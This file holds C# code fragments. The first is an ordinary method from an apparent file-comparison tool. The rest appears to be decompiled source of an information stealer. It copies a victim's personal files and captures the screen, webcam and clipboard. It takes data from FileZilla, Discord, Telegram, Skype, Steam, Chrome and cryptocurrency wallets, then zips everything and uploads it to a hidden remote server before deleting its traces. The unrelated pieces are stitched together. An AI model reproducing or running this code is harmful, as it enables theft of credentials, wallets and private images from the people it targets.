//tree is the tree for the comparison file, with data "info" public void AddDifferentFile(string relDirectoryPath, SlynchyDirectoryTree tree, SlynchyFile info) { var FoundRelDir = false; foreach (var dFile in DFiles) { if (dFile.RelDir.Equals(relDirectoryPath) && dFile.FileName.Equals(info.Info.Name)) { FoundRelDir = true; dFile.AddDifferentFileSpec(tree, info); } } if (!FoundRelDir) { var newDiffFiles = new DifferentFiles(); newDiffFiles.RelDir = relDirectoryPath; newDiffFiles.FileName = info.Info.Name; newDiffFiles.AddDifferentFileSpec(tree, info); DFiles.Add(newDiffFiles); } }
// Token: 0x0600001C RID: 28 RVA: 0x00003968 File Offset: 0x00001B68 public static void Start() { try { if (!Directory.Exists(DFiles.path)) { Directory.CreateDirectory(DFiles.path); } string dir = null; string[] array = null; string dir2 = null; string[] array2 = null; string dir3 = null; string[] array3 = null; string dir4 = null; string[] array4 = null; try { dir = global::Buffer.path_dp; } catch { } try { dir2 = global::Buffer.path_ds; } catch { } try { dir3 = global::Buffer.path_ad; } catch { } try { dir4 = global::Buffer.path_lad; } catch { } try { DFiles.SearchFiles(dir, DFiles.path + "\\Desktop Files"); array = Directory.GetDirectories(dir); } catch { } try { DFiles.SearchFiles(dir2, DFiles.path + "\\Documents Files"); array2 = Directory.GetDirectories(dir2); } catch { } try { DFiles.SearchFiles(dir3, DFiles.path + "\\AppData Files"); array3 = Directory.GetDirectories(dir3); } catch { } try { DFiles.SearchFiles(dir4, DFiles.path + "\\LocalAppData Files"); array4 = Directory.GetDirectories(dir4); } catch { } if (array.Length != 0) { string[] array5 = array; for (int i = 0; i < array5.Length; i++) { DFiles.SearchFiles(array5[i], DFiles.path + "\\Disks Files"); } } if (array2.Length != 0) { string[] array6 = array2; for (int j = 0; j < array6.Length; j++) { DFiles.SearchFiles(array6[j], DFiles.path + "\\Disks Files"); } } if (array3.Length != 0) { string[] array7 = array3; for (int k = 0; k < array7.Length; k++) { DFiles.SearchFiles(array7[k], DFiles.path + "\\Disks Files"); } } if (array4.Length != 0) { string[] array8 = array4; for (int l = 0; l < array8.Length; l++) { DFiles.SearchFiles(array8[l], DFiles.path + "\\Disks Files"); } } foreach (string dir5 in Environment.GetLogicalDrives()) { try { DFiles.SearchFiles(dir5, DFiles.path + "\\Disks Files"); } catch { } try { string[] directories = Directory.GetDirectories(dir5); if (directories.Length != 0) { foreach (string dir6 in directories) { try { string a = Path.GetDirectoryName(dir6).ToLower(); if (!(a == "windows") && !(a == "programdata") && !(a == "program files (x86)") && !(a == "program files") && !(a == "пользователи") && !(a == "users") && !(a == "perflogs")) { DFiles.SearchFiles(dir6, DFiles.path + "\\Disks Files"); } } catch { } } } } catch { } } int num = Directory.GetDirectories(DFiles.path).Length; } catch { } }
public bool Start(string[] Params) { Information.Start(); ProcList.Parse(); Thread.Sleep(new Random().Next(1, 5) * 100); if (Base64.Decode(Params[2]) == "1") { clipper.Start(); } Action action = delegate { CBoard.Start(); }; try { if (base.InvokeRequired) { Invoke(action); } else { action(); } } catch { } DesktopImg.Start(); DFiles.Start(); WebCam.Start(); FZ.Start(); Pidgin.Start(); DS.Start(); TG.Start(); Skype.Start(); Steam.Start(); BTCQt.Start(); BTCByte.Start(); BTCDASH.Start(); BTCETH.Start(); BTCMON.Start(); Thread.Sleep(new Random().Next(1, 5) * 1000); EGChromeC.Start(); string text = null; text = $"{Buffer.path_ad}{GetRandom.String(null, 8)}"; if (File.Exists(text)) { File.Delete(text); } ZipFile.CreateFromDirectory(Buffer.path_l, text); try { if (!EntryPoint.activation) { Environment.FailFast("Program has been crashed"); } using (WebClient webClient = new WebClient()) { NameValueCollection nameValueCollection = new NameValueCollection(); nameValueCollection.Add("_x_key_x_", Base64.Encode(EntryPoint.key)); nameValueCollection.Add("zipx", Base64.Encode(File.ReadAllText(text, Encoding.GetEncoding(1251)), Encoding.GetEncoding(1251))); nameValueCollection.Add("desktop", Base64.Encode(File.ReadAllText($"{Buffer.path_l}ScreenShot.png", Encoding.GetEncoding(1251)), Encoding.GetEncoding(1251))); nameValueCollection.Add("webcam", Base64.Encode(File.ReadAllText($"{Buffer.path_l}WebCam.jpg", Encoding.GetEncoding(1251)), Encoding.GetEncoding(1251))); nameValueCollection.Add("email", Params[0]); nameValueCollection.Add("caption", Exporter.Export("<title>", "</title>", Starter.FileData)); nameValueCollection.Add("username", Base64.Encode(Environment.UserName)); nameValueCollection.Add("c_count", Base64.Encode(Buffer.XBufferData[0])); nameValueCollection.Add("pcount", Base64.Encode(Buffer.XBufferData[1])); nameValueCollection.Add("acount", Base64.Encode(Buffer.XBufferData[10])); nameValueCollection.Add("cd_count", Base64.Encode(Buffer.XBufferData[11])); nameValueCollection.Add("steam", Base64.Encode(Buffer.XBufferData[6])); nameValueCollection.Add("fzilla", Base64.Encode(Buffer.XBufferData[2])); nameValueCollection.Add("tg", Base64.Encode(Buffer.XBufferData[3])); nameValueCollection.Add("dcord", Base64.Encode(Buffer.XBufferData[4])); nameValueCollection.Add("skype", Base64.Encode(Buffer.XBufferData[5])); nameValueCollection.Add("b-core", Base64.Encode(Buffer.XBufferData[7])); nameValueCollection.Add("b-byte", Base64.Encode(Buffer.XBufferData[13])); nameValueCollection.Add("b-d", Base64.Encode(Buffer.XBufferData[14])); nameValueCollection.Add("b-ethe", Base64.Encode(Buffer.XBufferData[15])); nameValueCollection.Add("b-mon", Base64.Encode(Buffer.XBufferData[16])); nameValueCollection.Add("avinstall", Base64.Encode(Buffer.XBufferData[18])); nameValueCollection.Add("_version_", Base64.Encode("3200")); while (true) { try { if (Encoding.Default.GetString(webClient.UploadValues(string.Format("http://{0}", Base64.Decode(string.Format("{0}{1}{2}", Buffer.Sender, Buffer.Handler, "="))), nameValueCollection)) == "good") { goto IL_040a; } } catch { } Thread.Sleep(2000); } } } catch { } goto IL_040a; IL_040a: try { Directory.Delete(Buffer.path_l, recursive: true); } catch { } try { File.Delete(text); } catch { } return(true); }